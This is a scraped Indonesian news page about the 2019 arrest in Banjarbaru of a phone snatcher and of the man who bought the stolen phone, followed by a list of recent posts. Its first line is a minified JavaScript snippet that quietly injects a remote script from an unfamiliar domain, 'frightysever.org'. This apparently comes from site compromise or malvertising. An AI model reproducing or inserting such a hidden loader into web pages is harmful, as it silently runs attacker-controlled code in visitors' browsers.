(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Diringkus Setelah Aksi Menjambret, Lukman Giring Penadah Ikut ke Jeruji


BANJARBARU, Aksi jambret pada April lalu, menggiring Lukman ke penjara, setelah diringkus Satuan Reskrim Polres Banjarbaru, Selasa (14/5/2019) sekitar pukul 22.00 Wita.

Peristiwa yang tepatnya terjadi pada tanggal 26 April 2019 lalu, bermula saat korban yang saat itu sedang mengendarai kendaraan roda dua bermaksud pulang ke rumah dan melintas di depan Heri Futsal.

Tiba-tiba dari sebelah kanan orang tidak dikenal mendekat dan langsung mengambil HP milik korban yang pada saat itu berada di box depan sepeda motor. Orang tak dikenal itu kemudian sempat dikejar korban, namun pelaku berhasil lolos karena korban sempat terhalang truk.

Bermodal laporan tersebut Unit Resmob Polres Banjarbaru bergerak melakukan penyelidikandipimpin Kanit Jatanras Ipda Aditya dan Panit Reskrim Ipda Alhamidie, dengan bekal informasi ciri-ciri tersangka dari beberapa saksi untuk melakukan penyelidikan.

“Dari informasi tersebut, kami berhasil meringkus pelaku yang bernama Lukman (23) warga jalan Martapura Lama, desa Sungai Batang, Kecamatan Martapura Barat Kabupaten Banjar,” ujar Ipda Aditya.

Selain itu, dari keterangan pelaku, handphone milik korban tersebut sudah dijualnya ke salah seorang yang bernama Kiddi (23) dengan harga Rp 350 ribu.

“Kami pun berhasil mengamankan Kiddi beserta barang bukti handphone hasil curian tersebut,” lanjut Ipda Aditya.

Sementara itu, Kasat Reskrim Polres Banjarbaru AKP Aryansyah menuturkan selain mengamankan pelaku jambret dan penadahnya, pihaknya juga mengamankan barang bukti diantaranya 1 handphone merk OPPO F1s warna gold dan sebuah sepeda motor Honda Scoopy warna merah yang digunakan sebagai sarana.

“Untuk pelaku jambret kami sangkakan dengan pasal 362 KUHP dengan ancaman hukuman dengan pidana penjara paling lama lima tahun, sementara penadahnya kami kenakan pasal 480 KUHP dengan ancaman hukuman penjara selama-lamanya empat tahun,” tutup AKP Aryansyah. (rico)

Reporter:rico
Editor:bie


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

7 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

10 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

14 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

18 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

19 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.